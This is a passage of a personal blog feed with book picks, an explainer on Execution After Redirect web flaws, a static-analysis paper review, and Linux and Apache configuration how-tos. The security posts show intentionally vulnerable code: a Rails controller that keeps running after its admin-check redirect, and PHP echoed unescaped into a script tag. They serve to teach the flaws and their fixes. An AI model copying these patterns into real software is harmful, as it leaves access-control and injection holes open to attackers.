<h2><a href="http://www.amazon.com/gp/product/0802130208/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0802130208&amp;linkCode=as2&amp;tag=adamspics-20">A Confederacy of Dunces</a></h2>

<p>The funniest book I&rsquo;ve ever read. Captures the spirit of New Orleans
and the characters are outlandish. Plus the book was published after
the author committed suicide, so the whole book&rsquo;s got a sad tinge.</p>

<!-- more -->


<h2><a href="http://www.amazon.com/gp/product/0385333846/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0385333846&amp;linkCode=as2&amp;tag=adamspics-20">Slaughterhouse-Five</a></h2>

<p>One of my favorite authors, and this is his best book. About the WWII
firebombing of Dresden, which killed more people than the A-bomb and
the author lived through it. The science fiction aspects of the book
and the third-story perspective almost seem like a coping mechanism on
behalf of the author.</p>

<h2><a href="http://www.amazon.com/gp/product/0486278077/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0486278077&amp;linkCode=as2&amp;tag=adamspics-20">The Picture of Dorian Gray</a></h2>

<p>British novel, but I&rsquo;m haunted by this book. You can&rsquo;t help but
wonder, what would my portrait look like?</p>

<h2><a href="http://www.amazon.com/gp/product/0061120065/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0061120065&amp;linkCode=as2&amp;tag=adamspics-20">Their Eyes Were Watching God</a></h2>

<p>Excellent book I read in high school. Deals with the south and slavery
and love.</p>

<h2><a href="http://www.amazon.com/gp/product/0743297334/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0743297334&amp;linkCode=as2&amp;tag=adamspics-20">The Sun Also Rises</a></h2>

<p>Hemmingway at his best. I also read this in high school so I don&rsquo;t
remember the details. But you need to read this closely and attentivly
because Hemmingway doesn&rsquo;t use a lot of words.</p>

<h2><a href="http://www.amazon.com/gp/product/0142000655/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0142000655&amp;linkCode=as2&amp;tag=adamspics-20">East of Eden</a></h2>

<p>If you liked Grapes of Wrath you&rsquo;ll like this book. It&rsquo;s very long and
that&rsquo;s the downside. It&rsquo;s a modern retelling of the story of Cain and
Able from the bible.</p>

<h2><a href="http://www.amazon.com/gp/product/0452262933/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0452262933&amp;linkCode=as2&amp;tag=adamspics-20">1984</a></h2>

<p>A British novel which is excellent and about a dystopian future. Same
author as Animal Farm, but this book is much better in my opinion. If
you read this, you have to read Brave New World right after.</p>

<h2><a href="http://www.amazon.com/gp/product/0060776099/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0060776099&amp;linkCode=as2&amp;tag=adamspics-20">Brave New World</a></h2>

<p>Also dystopian future but in a different maner than 1984. If you want
to read this, read 1984 first, then read Brave New World directly
after so you can compare and contrast. Personally I think this kind of
world is much more likely for us than the world in 1984.</p>

<h2><a href="http://www.amazon.com/gp/product/1451673310/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1451673310&amp;linkCode=as2&amp;tag=adamspics-20">Fahrenheit 451</a></h2>

<p>Similar to 1984 and Brave New World, but here books are banned. Very
good.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Overview of Execution After Redirect Web Application Vulnerabilities]]></title>
    <link href="http://adamdoupe.com/blog/2011/04/20/overview-of-execution-after-redirect-web-application-vulnerabilities/"/>
    <updated>2011-04-20T21:10:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2011/04/20/overview-of-execution-after-redirect-web-application-vulnerabilities</id>
    <content type="html"><![CDATA[<p>Hi all, I&rsquo;m here to talk about a little known web vulnerability that
<a href="http://www.bryceboe.com/2010/12/09/ucsbs-international-capture-the-flag-competition-2010-challenge-6-fear-the-ear/">Bryce Boe already touched on</a>. Execution After Redirects are logic flaws in web
applications that can lead to <a href="https://www.owasp.org/index.php/Information_Leak_(information_disclosure)">Information Disclosure</a>
and <a href="https://www.owasp.org/index.php/Broken_Access_Control">Broken Access Controls</a>.</p>

<h2>What&rsquo;s an EAR?</h2>

<p>Well, an Execution After Redirect (EAR) flaw is when a developer
causes an HTTP redirect to occur, typically via a web framework. The developer assumes
that execution stops after the redirect, however, execution
continues.</p>

<!-- more -->


<p>Let&rsquo;s look at a Ruby on Rails example (names have been changed to hide
the guilty):</p>

<pre><code>class TopicsController &lt; ApplicationController
  def update
    @topic = Topic.find(params[:id])
    unless current_user.is_admin?
      redirect_to "/"
    end
    if @topic.update_attributes(params[:topic])
      flash[:notice] = "Topic updated!"
    end
  end
end
</code></pre>

<p>It appears that if the current user is not an admin, they are
redirected to &ldquo;/&rdquo;, the web site root. In fact, if you access the
update controller using a browser while not an admin, it will redirect
you to the web site root like expected. However, if an attacker who is
not an admin makes a request with topic parameters, she will be able
to update your topic without being an admin!</p>

<h2>How do I fix it?</h2>

<p>The fix is pretty simple, <em>always</em> <code>return</code> after a redirect!</p>

<p>EARs can be more complicated. For example, there&rsquo;s a controller that
calls a method that calls a redirect. The real fix is to know where
your redirects are, and what they&rsquo;re for, especially if you use a
redirect during authentication.</p>

<h2>What else is vulnerable?</h2>

<p>Web application frameworks differ on if they stop execution after a
redirect. Check your web framework&rsquo;s documentation to see if the
redirect method stops execution.</p>

<h2>What am I doing about it?</h2>

<p><a href="http://bryceboe.com">Bryce Boe</a> and I are writing a paper studying this problem
in depth. However, since I am alerting developers to potential EARs in
their code, I wanted to have this informational blog post giving an
overview. In addition, I developed a tool to
<a href="https://github.com/adamdoupe/find_ear_rails">staticially detect EARs in Ruby on Rails</a>.
Look for more blog posts in the future about the tool.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Paper Review: Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications.]]></title>
    <link href="http://adamdoupe.com/blog/2011/01/27/paper-review-saner-composing-static-and-dynamic-analysis-to-validate-sanitization-in-web-applications/"/>
    <updated>2011-01-27T21:05:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2011/01/27/paper-review-saner-composing-static-and-dynamic-analysis-to-validate-sanitization-in-web-applications</id>
    <content type="html"><![CDATA[<h1>What is this?</h1>

<p>In an effort to improve my writing and analysis skills, I&rsquo;m going to
review papers using less than 500 words. This is my first attempt.</p>

<h1>Overview</h1>

<p><a href="http://iseclab.org/papers/oakland-saner.pdf" title="Saner: Composing static and dynamic analysis to validate sanitization in web applications">Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications</a>
is a paper written by <a href="http://www.iseclab.org/people/dbalzarotti/" title="Davide Balzarotti">Davide Balzarotti</a> et. al., and was
published at the IEEE Symposium on Security and Privacy in 2008.</p>

<!-- more -->


<p>Saner attempts to solve the problem of verifying the correctness of
sanitization functions. Previous work on analyzing web applications
for vulnerabilities assume that built-in sanitization functions
completely protect the application from vulnerabilities. This
assumption is typically extended to custom sanitization functions
(regular expressions, string replacements, etc.)</p>

<p>Proper analysis of sanitization functions would enable a tool to be
more precise about the vulnerabilities that it discovers. It can also
be used to analyze a language&rsquo;s built-in sanitization functions.</p>

<p>Saner utilizes static and dynamic approaches to analyze sanitization
functions.</p>

<p>The static part was built by extending <a href="http://www.iseclab.net/papers/pixy.pdf" title="Pixy: A static analysis tool for detecting web application vulnerabilities">Pixy</a> to keep track of the
string values that each variable can hold. Saner can see if a variable
can be used as output and if it is used in the output. However, the
method used to keep track of the string values is an
over-approximation, which might produce false-positives (but not
false-negatives).</p>

<p>A dynamic approach is used to reduce the number of false-positives by
generating inputs and seeing if those inputs trigger a vulnerability.
In this way, Saner can present all the verified vulnerabilities, but
if the user wishes, also present all the possible vulnerabilities so
the user can investigate.</p>

<h1>Thoughts</h1>

<h2>Possible Problems</h2>

<p>Saner inherits the same limitations as Pixy, namely it does not
support PHP&rsquo;s eval function and aliased array elements.</p>

<h2>Future Work</h2>

<h3>Context-aware</h3>

<p>An extension to this (and other static web analyzers) would be to use
the context of a variables output in the HTML page. For instance,
variables that output to the headers of an HTTP response are
vulnerable to <a href="http://www.owasp.org/index.php/HTTP_Response_Splitting" title="HTTP Response Splitting">HTTP Response Splitting</a> and
need to disallow &lsquo;\r&rsquo; and &lsquo;\n&rsquo;, while these characters are safe when
output in the HTML response. Another example is a variable that is
output after a starting script tag but before the ending tag to
customize the JavaScript sent to the user. Here&rsquo;s a simple example of
this:</p>

<pre><code>&lt;script&gt;
var userName = "&lt;?php echo $userName; ?&gt;";
&lt;/script&gt;
</code></pre>

<p>In this case, restricting only &lsquo;&lt;&rsquo; and &lsquo;&gt;&rsquo; will not work.  The idea of context can be extended to attributes of HTML tags.</p>

<h3>Database-aware</h3>

<p>Another problem is how to treat variables from the database: are they sanitized or not? A static analyzer that is able to properly model and taint the flow of data into and out of the database would be very cool (and if you know of someone who&rsquo;s done this, let me know).</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Compiling Jpcap on 64-bit Ubuntu 10.10]]></title>
    <link href="http://adamdoupe.com/blog/2010/10/28/compiling-jpcap-on-64-bit-ubuntu-10-dot-10/"/>
    <updated>2010-10-28T20:59:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2010/10/28/compiling-jpcap-on-64-bit-ubuntu-10-dot-10</id>
    <content type="html"><![CDATA[<h1>Why?</h1>

<p>While learning more about <a href="http://clojure.org/">clojure</a>, I wanted
to do some network sniffing. Following a <a href="http://nakkaya.com/2009/09/25/a-guide-to-raw-traffic-in-clojure/">guide to raw traffic in
clojure</a>
I needed to install
<a href="http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/">jpcap</a> in order
to use <a href="http://www.tcpdump.org/pcap3_man.html">libpcap</a> from java.</p>

<p><a href="http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/">Jpcap</a> doesn&rsquo;t
provide a 64-bit version so I had to compile my own. Here&rsquo;s the
documentation of how I did it. A patch is provided at the end of the post.</p>

<h1>Compiling jpcap 0.7 on 64-bit Ubuntu 10.10</h1>

<ol>
<li>First <a href="http://www.webupd8.org/2010/09/how-to-install-java-jre-and-java-plugin.html">install sun java on ubuntu
10.10</a></li>
</ol>


<!-- more -->


<ol>
<li><p><a href="http://netresearch.ics.uci.edu/kfujii/Jpcap/jpcap-0.7.tar.gz">Download jpcap</a>
or use the following command:</p>

<pre><code>  wget http://netresearch.ics.uci.edu/kfujii/Jpcap/jpcap-0.7.tar.gz
</code></pre></li>
<li><p>Untar jpcap</p>

<pre><code> tar -xvf jpcap-0.7.tar.gz
</code></pre></li>
<li><p>Move into src directory</p>

<pre><code> cd jpcap-0.7/src/c/
</code></pre></li>
<li><p>Open up Makefile in your favorite editor (mine&rsquo;s emacs)</p>

<pre><code> emacs Makefile
</code></pre></li>
<li><p>Change this line:</p>

<pre><code> JAVA_DIR = $(JAVA_HOME)
</code></pre>

<p> To This:</p>

<pre><code> JAVA_DIR = /usr/lib/jvm/java-6-sun/
</code></pre></li>
<li><p>Change the compile options from this:</p>

<pre><code> COMPILE_OPTION = -shared -L.
</code></pre>

<p> To this:</p>

<pre><code> COMPILE_OPTION = -shared -L. -fPIC
</code></pre></li>
<li><p>Save your file and close your editor.</p></li>
<li><p>Run make:</p>

<pre><code>  make
</code></pre></li>
<li><p>Follow the <a href="http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/install.html#source">jpcap installation
instructions</a></p></li>
</ol>


<h1>Patch for more advanced users</h1>

<p><a href="http://cs.ucsb.edu/~adoupe/static/jpcap-0-7-compile-64-bit.patch">Patch to do this automatically</a></p>

<p><a href="http://stephenjungels.com/jungels.net/articles/diff-patch-ten-minutes.html">How to patch</a></p>

<p>Let me know if you have any problems!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Redirecting a Folder to HTTPS With Apache's Config on Ubuntu]]></title>
    <link href="http://adamdoupe.com/blog/2010/10/27/redirecting-a-folder-to-https-with-apaches-config-on-ubuntu/"/>
    <updated>2010-10-27T20:54:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2010/10/27/redirecting-a-folder-to-https-with-apaches-config-on-ubuntu</id>
    <content type="html"><![CDATA[<p>I found some information about how to do this on the web, but everything I saw talked about using an .htaccess file. I didn&rsquo;t want to use an .htaccess file.</p>

<p>Here&rsquo;s what I had to do in Ubuntu (this was on an old 8.10 server).</p>

<!-- more -->


<ol>
<li><p>Enabled mod_rewrite:</p>

<pre><code> sudo a2enmod rewrite
</code></pre></li>
<li><p>Add the following in the VirtualHost section of my regular http setup to my config at /etc/apache2/sites-enabled/ :</p>

<pre><code> RewriteEngine On
 RewriteCond %{SERVER_PORT} 80
 RewriteCond %{REQUEST_URI} ^/foldername/.\*
 RewriteRule ^(.\*)$ https://host.name.com$1 [R,L]
</code></pre></li>
<li><p>Restart Apache:</p>

<pre><code> sudo service apache2 restart
</code></pre></li>
</ol>


<p>Make sure if you use this to change <em>foldername</em> to the name of the folder where you want to enforce HTTPS and <em>host.name.com</em> to the name of your host.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Configuring Linux Bridge to Act as a Hub]]></title>
    <link href="http://adamdoupe.com/blog/2010/10/22/configuring-linux-bridge-to-act-as-a-hub/"/>
    <updated>2010-10-22T20:49:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2010/10/22/configuring-linux-bridge-to-act-as-a-hub</id>
    <content type="html"><![CDATA[<p>So after struggling for a while with this, the answer is surprisingly simple. <br /> <br />For a bridge that you've created with brctl, you can use this simple command: <br /><code> <br />brctl setageing &lt;bridgename&gt;  0 <br /></code> <br /> <br />This command tells Linux to forget every MAC address that it sees on <br />the bridge, making it act as a hub. <br /> <br />Here's the <a href="http://www.linuxquestions.org/questions/linux-networking-3/can-a-bridge-be-configured-to-act-as-hub-not-a-switch-817170/">source</a>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Another Fire in the Santa Barbara Hills!]]></title>
    <link href="http://adamdoupe.com/blog/2009/05/05/another-fire-in-the-santa-barbara-hills/"/>
    <updated>2009-05-05T20:39:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2009/05/05/another-fire-in-the-santa-barbara-hills</id>
    <content type="html"><![CDATA[<p><img src="http://adamdoupe.com/images/another-fire-in-the-santa-barbara-hills.jpg" alt="Another fire in the Santa Barbara hills!" />
Another fire in the Santa Barbara hills!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Two Chicks at the Same Time.]]></title>
    <link href="http://adamdoupe.com/blog/2009/04/10/two-chicks-at-the-same-time/"/>
    <updated>2009-04-10T20:33:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2009/04/10/two-chicks-at-the-same-time</id>
    <content type="html"><![CDATA[<p><img src="http://adamdoupe.com/images/two-chicks-at-the-same-time.jpg" alt="Two chicks at the same time." />
Two chicks at the same time.</p>
]]></content>
  </entry>
  
</feed>
